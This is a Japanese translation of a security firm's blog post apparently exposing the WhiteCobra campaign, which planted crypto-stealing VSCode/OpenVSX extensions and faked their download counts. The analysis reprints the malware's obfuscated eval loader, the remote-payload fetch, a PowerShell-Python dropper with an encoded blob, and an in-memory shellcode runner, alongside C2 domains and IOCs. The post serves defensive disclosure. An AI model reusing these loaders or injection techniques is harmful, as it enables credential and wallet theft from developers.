VSCode、Cursor、Windsurfのユーザーを狙う新たな悪性拡張機能の波24件が、この1か月の間にVSCodeとOpenVSXのマーケットプレイスに侵入していました。そして今、その手口の全貌が明らかになりました。
本日、私たちはWhiteCobraと名付けた脅威アクターグループによる協調的なキャンペーンを公開します。このグループは1年以上にわたり追跡してきた相手です。2か月前に明らかになった50万ドル規模の仮想通貨窃取事件の背後にいたのも同じグループで、2024年から2025年にかけてVSCodeとOpenVSXのマーケットプレイスに一連の悪性拡張機能を公開してきました。そして今回、手口を進化させて再び姿を現しています。
私たちはこのグループの手口書を入手することに成功しました。本日、複数年にわたって活動する高度な脅威アクターグループの内部運用を、極めて稀な形で垣間見ることができます。Koiは、WhiteCobraのインフラ、宣伝戦略、そして衝撃的な収益予測を明らかにする詳細な展開計画を回収することに成功しました。
この新たな悪性拡張機能の波は、すでに著名な被害者を生んでいます。仮想通貨インフルエンサーのzak.eth氏は、WhiteCobraの悪性Cursor拡張機能によってウォレットの中身を盗まれました。この事件はX上で200万回以上の閲覧を集めました。
zak.eth氏は単なる被害者ではありません。10年のセキュリティ経験を持つセキュリティ専門家であり、この攻撃がいかに高度な水準に達しているかを物語っています。私たちがこの新たな波を報告し、以降これらの拡張機能は削除されましたが、WhiteCobraは今週も含め、毎週のように新たな悪性拡張機能をアップロードし続けています。そのため、zak.eth氏が最後の被害者になる可能性は極めて低いと言えるでしょう。
ここからは、WhiteCobraが稚拙なPowerShellマイナーから、MacOS対応のステルス性の高い仮想通貨窃取ツールへとどのように進化したのか、なぜダウンロード数の水増しという古典的な手口が今なお正当性を演出できてしまうのか、そして多段階のペイロード配信がどのような仕組みで動作しているのかを解き明かしていきます。
時給50万ドルの計画:WhiteCobraの流出した手口書の内側
私たちは「DEPLOYMENT PLAN: Operation Solidity Pro」と題されたMarkdownファイルを回収しました。まるで映画のワンシーンのように、犯罪的な事業計画書そのものの内容でした。
この記事では、この決定的な証拠となる文書の内容を段階的に詳しく解説していきますが、攻撃の再現を可能にする技術的詳細は除いた検閲済みバージョンを添付しています。
この文書は、想定される収益を冷徹に算出するところから始まります。
- 低い見積もり: 時給1万ドル(価値の高い特定のウォレットを狙う場合)
- 高い見積もり: 時給50万ドル(“鯨ウォレット”を狙った大規模な感染の場合)
しかし、この収益予測は序章に過ぎません。この手口書には、VS Code拡張機能エコシステムを兵器化するための完全な設計図が記されています。
5段階の攻撃戦略
- 第1段階:パッケージング – 悪性VSIXファイルを作成するための手順
- 第2段階:展開 – “説得力のある詳細情報”を添えてOpenVSXにアップロードする手順
- 第3段階:宣伝 – ソーシャルメディア用テンプレートとボットによるエンゲージメント戦術
- 第4段階:水増し – “社会的証明”を演出するため、5万件の偽ダウンロードを生成する自動化スクリプト
- 第5段階:窃取 – 盗んだシードフレーズのリアルタイム監視と即座の資金移動
この文書には、盗んだ資金の送金先となるウォレットアドレスまで記載されているほか、ポート8041でのScreenConnectバックドアを備えたコマンド&コントロール(C2)インフラの構築手順も具体的に示されています。
偽ダウンロード:大規模な信頼の捏造
この手口書における最も衝撃的な内容の一つが、信頼性を組織的に偽装する手法です。「スクリプトを5万ダウンロードの目標に達するまで実行させる。これにより、拡張機能を発見した開発者に対する社会的証明が得られる」(マニュアルからの直接引用)。実際には、悪性拡張機能はこれよりもはるかに多いダウンロード数を示していることがよくあります。この混乱ぶりを実感するために、次のスクリーンショットをよく見て、どちらが本物のSolidity拡張機能で、どちらがマルウェアか当ててみてください。
108,000ダウンロードの#1が正規版だと思った方、おめでとうございます。それはすでにマルウェアをインストールしてしまっています。64,000ダウンロードの#2の方が実は正規の拡張機能ですが、悪性版はさらに信頼性を演出するためにダウンロード数を水増ししているのです。まさにこの手口によって、zak.eth氏をはじめ数え切れないほどの開発者が侵害されました。偽物の方が本物よりも本物らしく見えることがあるのです。
手口書ではさらに、次のようなダウンロード水増し戦略の詳細が説明されています。
- “数千件の高品質なレジデンシャルプロキシ”の調達
- 水増しを自動化するPythonスクリプト(
download_bot.py) - 展開直後に即座に信頼性を演出するため、すぐにボットを実行するよう指示
大量の偽ダウンロード数を偽装することで、開発者やときにはマーケットプレイスの審査システムまでもが、これらの拡張機能を安全で人気があり、審査済みのものだと誤認させ続けています。一見しただけの観察者にとって、10万件のインストール数は正当性の証に見えてしまいます。それこそが彼らの狙いなのです。
大規模なソーシャルエンジニアリング:X(Twitter)キャンペーン
この手口書には、あらかじめ用意されたソーシャルメディア用テンプレートと、練り込まれた宣伝戦略が含まれています。彼らの投稿は、開発者の心理を突くように作り込まれています。
次のような操作の手口に注目してください。
- 人為的な緊急性の演出(“取り残されるな”、”参加が最後にならないように”)
- 偽の社会的証明(“5万人以上の開発者が乗り換えた” – 実際は自分たちで生成した偽のダウンロード数)
- 攻撃的なポジショニング(“Hardhatはもう終わった”、”知られたくない事実”)
- FOMO(取り残される不安)の刺激 – “時代遅れの”ツールを使うことへの開発者の不安を突く
手口書では、運用担当者に対して以下を指示しています。
- 著名な開発者インフルエンサーを模した”高評価のXアカウント”を使用する
- 自然な発見を装うため、投稿を2時間の間隔で分散させる
- 関連する開発者の会話に対して「いいね、リツイート、コメント」を行うボットを展開する
この協調的なソーシャルメディア操作こそが、これらの悪性拡張機能が驚くほど急速に勢いを得る理由を説明しています。実際の開発者たちが話題にし始める頃には、すでに偽の推薦や人為的な盛り上がりによって会話の土壌が作られてしまっているのです。
技術的な詳細分析:WhiteCobraのペイロード配信チェーン
WhiteCobraの活動は単に執拗であるだけではありません。技術的にも階層化され、難読化され、意図的に検知回避を図っています。ここからは、拡張機能の実行フローをたどり、最終的な悪性実行ファイルがどのように配信・実行されるのか、クロスプラットフォームで解き明かしていきます。
これは典型的なスクリプトキディ程度の仕組みではありません。周到に段階分けされた、プラットフォームを意識した感染チェーンです。
脅威アクターがOpenVSXにアップロードした拡張機能の一つ(実質的にはどれも同じ内容です)を分析してみましょう。”juan-blanco”による”solidity”という名前です(正規の拡張機能も同じ名前で、作者は”juanblanco”です)。
実際に難読化されたコードと難読化解除後のコードのスニペットを交えながら、多段階の解説を楽しんでいきましょう。心してお読みください。
第1段階:extension.jsからの実行開始
一見すると、拡張機能のメインファイルである”extension.js”は完全に無害に見えます。実際、あらゆるVSCode拡張機能テンプレートに付属するデフォルトの「Hello World」の雛形とほぼ同一です。不審なロジックは一切なく、クリーンで最小限の構成です。唯一の追加機能は、”./utils/prompt”からの”ShowPrompt”関数の呼び出しです。
extension.js
const vscode = require("vscode");
const { ShowPrompt } = require("./utils/prompt");
// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
/**
* @param {vscode.ExtensionContext} context
*/
function activate(context) {
// Use the console to output diagnostic information (console.log) and errors (console.error)
// This line of code will only be executed once when your extension is activated
console.log("Congratulations, your extension is now active!");
const result = ShowPrompt();
. . .
このシンプルな呼び出しによって、実行がprompt.jsファイルへと引き渡されます。これこそが攻撃チェーンの真の入口です。悪性の動作を二次的なスクリプトに隔離することで、脅威アクターは主要ファイルのみをチェックする静的レビューや自動スキャンで警告フラグが立つのを回避しています。
ShowPrompt()関数は、evalを使って実行される追加のコードを隠しています。
prompt.js
const translationsArr = [
. . .
"tcG$Rpcj1hc3lu",
"e2NvbnN$0IHR",
];
// Small helper function to show prompt
function ShowPrompt() {
// Get global store for singleton
const globalStore = globalThis;
// Get singleton
const singletonFunc = globalStore[atob("Z&X&Z&h&b&A&=&=&".replaceAll("&", ""))];
singletonFunc(atob(translationsArr.reverse().join("").replaceAll("$", "")));
}
evalはここに隠されています- “Z&X&Z&h&b&A&=&=&” -> “ZXZhbA==” -> “eval”
この結果得られるスクリプトは、プラットフォームに応じてCloudflareのpages.devから次の段階をダウンロードします。
resulted script
if (!["win32", "darwin"].includes(process.platform)) return;
. . .
eval((await download(
process.platform === "win32"
? "https://g83u.pages.dev/hjxuw1x.txt"
: "https://g83u.pages.dev/qp5tr4f.txt"
)).toString());
第2段階:プラットフォーム固有のペイロード
Windows向けのペイロードを見てみましょう。evalの呼び出しを隠す手口は同じで、Base64でエンコードされたスクリプトを含んでいます。
Windows Second Payload
const anil6 = globalThis;
const airf3 = anil6[atob("Z$X$Z$h$bA$=$=$".replaceAll("$", ""))];
airf3(atob("e2N(vbnN(0(IGk9(YXN5bmMgdD0+e2xl(d(CAkPWF3YWl0(IGltcG9y( . . .
エンコードされたスクリプトは以下の通りです。
Windows second payload encoded script
{const i=async t=>{let $=await import("path"),a=await import("os");return $.join(a.tmpdir(),t)};(async()=>{let t=await import("child_process"),$=await import("fs"),a=await import("path"),e=await i("abwgfrf"),c=a.join(e,"python.exe"),o=await i("ufqk6i6"),s=`$zip = "${e}.zip"; $dest = "${e}"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip); New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest); Remove-Item -Path $zip -Force;`;$.existsSync(c)||t.spawnSync("powershell.exe",["-Command",s],{stdio:"ignore",windowsHide:!0}),$.existsSync(c)&&($.writeFileSync(o,`aaclo = lambda s, r: s.replace(r, "")[::-1]
atvqe = globals()[aaclo("_&_&s&n&it&l&i&u&b&_&_", "&")]
aks5y = atvqe.__dict__[aaclo("r)t)t)a)t)eg)", ")")]
av3np = aks5y(atvqe, aaclo("_*_*t*r*o*p*m*i*_*_*", "*"))
a6t0x = aks5y(av3np(aaclo("46#e#s#a#b#", "#")), aaclo("e(d(o(ce(d(4(6(b(", "("))
aebbg = aks5y(av3np(aaclo("bi^l^z", "^")), aaclo("s&s&e&r&pm&oc&e&d&", "&"))
asd_d = aks5y(av3np(aaclo("s!nitl!iu!b!", "!")), aaclo("c#exe#", "#"))
asd_d(aebbg(a6t0x(aaclo("gxyb+$/Q8$K$QZnG/$XM$AvST0MVypXsVkeq$aVzh$vBz$OCBU$K$O$k9Na5IXnVIzkyq6RU$pTsd+$UyFgWb7W1stp/21qOj1120F9m8E$imKC$W7Qmcz$uuLRE$U/gpu+atIo+eTXEUpPXddo$X1$rVTrfh0jkWC0nYf6+k7n+3t$Sg/cO$YCDHhdpw+$p$s$Gb$IM$xbX2$7$h$TvnHwbPvn$w+3XpPR/X40Pofdt$aXrFuYD12ew7$2Mj/$gon5K$8$++A$p8XCE39A$Z7Kr$Qw$HbA1P$z1$g$9p+A7rE$/C1X$7PN5dRWj/r3uz6z/ygH$GQ$6LRcMs3TW$ObzI$8K3JGZdZBzdzND$H$Sq7TrhHG8pk2zlHT$9$ge4aJM$qh$GEwHrH$0Td$3B+IA$/yw$YOnHmL2hahXljt7CNRwfYP0$4qiaGd4KlnX51V7zjVMlE$hCFw$WOgx2XmSIh$kEfMC2OSoQxBAjIML0IC7X$lZ4kFLSfMNN7uPNm$dZPtt1j1$zF1$6h$kCBNnh9k$IoTXDMBGG9qzAwdjq$LP9ESo9Yr$fAHKFTcHxwL80$5SxP83LKZ1P97$9u$7hk$uhoa$u54IIXixYNofaj5Zc3f0t7$3$LioLnQJn$I$D5sDTeSF779$My12bHOQQN9hKB$ZjNUF2/$K0$3KU9TQlj$hau6S$9drgfEK47V8$mhpyBucrhIQE$lwZJJcHI$pTS$igwk8EVx1$u48si87m$mfr8Hy/I+5Rq$L6W$IIqi723ugczyI3RJ$dp$IOQS/DoJK$9$Fy$uMA1$HgW$KbBdZRIeXIHxRe$+31XE$YX8N5$NC3ZacaGputAsCREhMc9hwQH$LnlRY$fvgL$GqK5vYR$+QOQj$qasEzBv7UdqAlMQeW7r5i$2W$k9$xrL15SaERSgSE7DSy$Vo/wN/j5r$42$2E9RrBhS4EdchHzD2JNRhwC$8UvktzEXcnpORlbd5wwP3aQQrHm42gRZd5$eja+q$LzJ75X6lTQo0uFg$evn$22$325YFs6uuy$dcMc68D$PckjbB$d$ta2jX$tF$nzNSNZ78bcX$V/zP8Nn6NWV$a8XT$5X$371Z3$jgvzszPq7cql$UBNeG$ri8hv8wHZ$o8$8SP9$tWq$cxe5G$SHu$b7q$c/wNBdHlF$u5bdlq1N649$D0d1ZY65f460btZlvv$q$WWeul5ilhN4VX/t$3$oCbcHqPPhnpLYQz8$CwFv+fx99qr1rf7$Rc$6U/RdP9$hVnNM$4N$L08x$3S9zxf9BM74peTe0wn9E$U$8H3995ctUy$slchXc$27I2z+$yXdPmdK7ymL$1cz6Jk/X$zYS7$IXbHt+cE/$jX2JH7tmGmUcfd$cnXN+tuC$ga8hkXCVPMBc$9YdaY$PGXD2$xam7kqc8Vgg36$KtT$T$UVRQogzHNQJ$HkOwqQS6U0$jH5oqAOS$QJI$HHDtttPYI$63$tsDsg9okqFQdc$CR1hZ$AiKdZBnmRRoLgIcX$L5v7$nm+D$7eh2ZnpNJxwt$dv/WclsI+Q0$4ttdJ$Ukq$kh5IEIkxcs5xl$F$AnjrUU7bG8$TH+5xQgj4zl1$k9x$Je", "$"))))`),t.spawn(c,[o],{shell:!0,windowsHide:!0}),setTimeout(()=>process.exit(),2e3))})().catch(()=>0)}
複雑に見えますね…少し難読化を解除して、実際に何をしているのかを見てみましょう。
Windows second payload deobfuscated
{
const createTmpDir = async t => {
let path= await import("path"), os=await import("os");
return path.join(os.tmpdir(),t)
};
(async() => {
let child_process=await import("child_process"),
fs=await import("fs"),
path=await import("path"),
tmpDir1=await createTmpDir("abwgfrf"),
resultPythonPath=path.join(tmpDir1,"python.exe"),
tmpDir2=await createTmpDir("ufqk6i6"),
powershellCommandInstallPython=`
$zip = "${tmpDir1}.zip";
$dest = "${tmpDir1}";
$wc = New-Object System.Net.WebClient;
$wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip);
New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem;
[IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest);
Remove-Item -Path $zip -Force;
`;
fs.existsSync(resultPythonPath) || child_process.spawnSync("powershell.exe",["-Command",powershellCommandInstallPython],{stdio:"ignore",windowsHide:!0}),
fs.existsSync(resultPythonPath) && (fs.writeFileSync(tmpDir2,`
builtins = globals()['__builtins__']
getattr = builtins.__dict__['getattr']
import = getattr(builtins, '__import__')
base64_b64decode = getattr(import('base64'), 'b64decode')
zlib_decompress = getattr(import('zlib'), 'decompress')
exec = getattr(import('builtins'), 'exec')
exec(zlib_decompress(base64_b64decode('eJx9k1lz4jgQx5+HT8Gb7UUrjnAFlx5scxkIEI5hkqkUJdtt40Q+IslcW/vdtwxJNpnZ2he7D+mn7v5LXcIgLoRRmnBZdKiAZh1RCcdQFqko9gsDst36IYPtttDHHIJQSOAqo5Hj0U6SQqwOkHJQNHzgoQRVUTTtK63ggV8cqk7max2DXGPYadY9cBMPVCXkh8agCut+NXncdfcUmGmt7HJ2Xj/Ec+tHbXI7SYzX/kJ6zc1Lmy7KdmPdXy+z2I72cXhclsyUtc5993H8UE9nw0eTep47MB9fxz9S3x80LN4MNnVh9PdR/U6cR7fr1rq99xf+vFwC8zQYLpnhPPqHcbCo3t/XV4Nhli5lueWWqvvlZtb064f56YZ1d0D946N1qldb5uFlHdBNw/cq7buHSG5excqWt9PS88oZHw8vh8irGeNBUlqc7qPzszvgj3Z173X5TX8aVWN6nN8Pz/VXcb87ZNSNznFtXj2atdBbjkcPD86cMcdyuu6sFY52322nvegFu0oQTl6X57JzLq+aje5dZRg24mHrQQa3Pww5dblROpncXEztkvU8CwhRNJ2DzHhcdE4ShBrR9E224r5j/Nw/oVySD7ESgSREaS51Lrx9kW2i5r7WeQMlAqdU7vBzEsaqjQOQ+RYv5KqGLgvfYRlnLHQwh9cMhERCsAtupGacaZ3CN5N8XYEX13+eRxHIXeIRZdBbKWgH1AMuyF9KJoD/SQOIpdJR3Iyzcgu327iqIIW6LqR5+I/yH8rfmm78is84u1xVE8kwgiSTpIHcJJZwlEQIhrcuByphm8V74KEfgrd9S6uahjlQT9UK30K/2FUNjZBKh9NQQOHb21yM977FSeTDs5DInJQnLoiL37t0f3cZ5jafoNYxiXII45uaohukh7u979P1ZKL38PxS508LwxHcTFKHAfrY9oSE9PLqjdwAzq9GGBMDXToIk9hnNBCkh61Fz1j1ttPZdmNPu7NNMfSLFk4ZlX7CI0LMIjABxQoSO2CMfEkhISmX2xgOWwFChElMVjz7V15XnlK4dGaiq40PYfwRNC7tjlXhah2LmHnOYwy/AI+B3dT0HrHwEGhqMJa4eg9THlz2kp8GHhrT7qSHDNzdzBZdZGJ3K8IzbOWT3sMcRL6QGHgy/z6zu3r/jWRd5NP7X1C/Er7A+p9g1zP1AbHwQrK7ZA93ECX8pA++8K5nog/jM27we21DYuFrXatdfoP04X/RPpX3+wnvPbwHnvTh72XbxMIbGsp+wpdhHDCYOc/gSt3+n7k+6fYn0CWkj0hfrTVr1XoddXPpUEXTe+oIta+upg/UERLuuzcmQ7WCKmiE8m9F0211jOq12/pts1W7bWgFyU+dsTpUR6qykzIVnXI5aN9kOKUBCOzBvhzVaqekVsXpyVM0TSvAMX/GnZQK8Q/+byxg')))`),
child_process.spawn(resultPythonPath,[tmpDir2],{shell:!0,windowsHide:!0}),
setTimeout(()=>process.exit(),2e3))}
)().catch(()=>0)
}
なるほど! 単純にPowerShellを使ってPythonをダウンロードし、その後エンコードされたPythonスクリプトを実行しているだけだったのです!
このPythonスクリプトはpages.devから”pyd”拡張子のファイル(実際のpydファイルとは無関係)をダウンロードし、ハードコードされた置換キーを使って復号し、ダウンロードしたシェルコードをメモリ上で直接実行します。
Python script
def Decrypt(buf):
key=base64.b64decode('irw5G1eUF1oZhDvaelBCTI/uzUYnPCX2L9LoAqFRtd6Wk8aR/I5UFUSunImvnixS+Bpl7zFcZKY4pOHZBaddcGBZqKXpffG5Cr6gW4sAFvm4MszJ9U7U8vfRfP/+eByGHSlAbZfwKgR1QQ4TGHupSt/7c+1vSWO6f4wPy3lDheafxZCy417BwkUgaW5fd08MYmtWqsTIt9N+jTbKxwkwmd2AKGo+RyQmzjcGrZI1vdDr3FNm1naxPQHz4qsQhwuacmzn2P1xB2idSKJYYbPllbCbDcO7iJhVIb8REgh0giLqSz/bz/T65DM0Hi5nH7Ytg9XAtNcrA+yBrBRNI+CjOg==');
return bytes(map(lambda v:key[v],buf))
def ExecuteInMemory(shellcode):
winkernel32=ctypes.windll.kernel32;
HeapAlloc=winkernel32.HeapAlloc;
HeapAlloc.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_size_t];
HeapAlloc.restype=A.LPVOID;
HeapCreate=winkernel32.HeapCreate;
HeapCreate.argtypes=[wintypes.DWORD,ctypes.c_size_t,ctypes.c_size_t];
HeapCreate.restype=wintypes.HANDLE;
RtlMoveMemory=winkernel32.RtlMoveMemory;
RtlMoveMemory.argtypes=[wintypes.LPVOID,wintypes.LPVOID,ctypes.c_size_t];
RtlMoveMemory.restype=wintypes.LPVOID;
CreateThread=winkernel32.CreateThread;
CreateThread.argtypes=[wintypes.LPVOID,ctypes.c_size_t,wintypes.LPVOID,wintypes.LPVOID,wintypes.DWORD,wintypes.LPVOID];
CreateThread.restype=wintypes.HANDLE;
WaitForSignalObject=winkernel32.WaitForSingleObject;
WaitForSignalObject.argtypes=[wintypes.HANDLE,wintypes.DWORD];
WaitForSignalObject.restype=wintypes.DWORD;
HeapCreate2=HeapCreate(262144,len(shellcode),0);
HeapAlloc(HeapCreate2,8,len(shellcode));
RtlMoveMemory(HeapCreate2,shellcode,len(shellcode));
NewThread=CreateThread(0,0,HeapCreate2,0,0,0);
WaitForSignalObject(NewThread,4294967295)
ExecuteInMemory(Decrypt(FetchFromURL('https://g83u.pages.dev/m22yo21.pyd')))
第3段階:シェルコード実行ファイル
このシェルコードは、LummaStealer(市販の情報窃取ツール)というPE実行ファイルを実行し、マシンから仮想通貨関連の情報などを盗み出します。
私たちが分析したところ、このマルウェアはマシン上のさまざまなサービスを探索していることが判明しました。
- 仮想通貨ウォレットとその関連情報
- AnyDesk、VPN、VNCなどの接続サービス
- クラウドインフラ
- メッセージングプラットフォーム
- パスワードマネージャー
- ウォレット・パスワード管理用ブラウザ拡張機能
実行中、このマルウェアは以下のC2サーバーと通信します。
- Iliafmoj[.]forum
- mastwin[.]in
まとめ
WhiteCobraから流出した手口書は、単なる手口以上のものを明らかにしています。それは、拡張機能を悪用した攻撃の産業化を露呈するものです。文書化されたプロセス、自動化されたツール、そして被害者を単なる数字として扱う収益予測。これはもはやハッキングではなく、一つのビジネス運営なのです。
私たちはこれら24件の亜種を報告し、それらは削除されましたが、WhiteCobraは日々新たな悪性拡張機能をアップロードし続けています。手口書によれば、パッケージングから宣伝、収益化まで、3時間足らずで新たなキャンペーンを展開できるとされています。
攻撃者の巧妙さと開発者側の防御力との間に広がるこのギャップこそが、真の危険です。WhiteCobraのような脅威アクターは産業的な精密さをもって活動している一方で、日々の開発者には安全なツールと悪性のツールを見分ける確実な手段がほとんどありません。マーケットプレイスの評価、ダウンロード数、さらには公式レビューでさえも操作され得るため、経験豊富な専門家でさえ脆弱な立場に置かれてしまいます。信頼と検証のためのより良い仕組みがなければ、有利な立場は依然として攻撃者側にあり続けます。
Koiはまさにこの問題を解決するために作られました。私たちのプラットフォームは、実務者や企業に対し、VS Code、NPM、Chromeウェブストア、Hugging Face、Homebrewなど、さまざまなエコシステムからチームが取り込むものを発見し、評価し、管理する能力を提供します。現在、世界最大級の銀行、フォーチュン50企業、そして主要テクノロジー企業の一部が、可視性をもたらし、ガバナンスを確立し、拡大し続けるこの攻撃対象領域を積極的に縮小するプロセスを自動化するために、Koiを活用しています。
実際の仕組みをご覧になりたい方、あるいはすでに行動を起こす準備ができている方は、デモを予約いただくか、私たちまでお問い合わせください。
今後さらに続報をお届けする予定ですので、どうぞご期待ください。
侵害指標(IOC)
拡張機能ID:
Open-VSX(Cursor/Windsurf)
ChainDevTools.solidity-prokilocode-ai.kilo-codenomic-fdn.hardhat-solidityoxc-vscode.oxcjuan-blanco.soliditykineticsquid.solidity-ethereum-vscETHFoundry.solidityethereumJuanFBlanco.solidity-ai-ethereumEthereum.solidity-ethereumjuan-blanco.solidityNomicFdn.hardhat-solidityjuan-blanco.vscode-soliditynomic-foundation.hardhat-soliditynomic-fdn.solidity-hardhatCrypto-Extensions.solidityCrypto-Extensions.SnowShsoNo
VS Code
JuanFBlanco.awswhhETHFoundry.etherfoundrysEllisonBrett.givingblankiesMarcusLockwood.wgbkVitalikButerin-EthFoundation.blan-coShowSnowcrypto.SnowShoNoCrypto-Extensions.SnowShsoNoRojo.rojo-roblox-vscode
ネットワーク侵害指標:
https://g83u.pages[.]dev/hjxuw1x.txthttps://g83u.pages[.]dev/qp5tr4f.txtIliafmoj[.]forummastwin[.]inniggboo[.]com
ファイルハッシュ:
1a728a7b7f68a71474a6a04f92960b18aae45ae5d00ea9a1d88174f8bd4ffa10– Mac ARM実行ファイル89848e8a1c8840a0561fcae2948b5941ed55a53474298007d7272f391b28c1b9– Mac ARM実行ファイルfa078483566de02cb64d970d06aa82470beee4c665cfee6915968cb0adb2c6c4– Mac Intel実行ファイル39459ad404c9f0ad361d82b9f96d60f13a9281d3746ada4ef8675dd80fcb9a7e– Mac Intel実行ファイルe8ce84a6e84d4bb0ee50dcde0a72dab9f2e6a2c2f80eeab4df243d5eaaa57a6f– Windowsシェルコード99b976ff0908b03d277bc96d0010b0f1aef8ae1529b753c645c57b7399760a51– Windowsシェルコード22350ef4cdee6af4cbe7809f98256dbfd882dab08ea51ab14880d5da9ce9c06d– Windows LummaStealer118b10295fea2613f72bc89074db9ab82a57c44ab7f62bddb3a86a4ed87f379f– Windows LummaStealer
翻訳元: https://www.koi.ai/blog/whitecobra-vscode-cursor-extensions-malware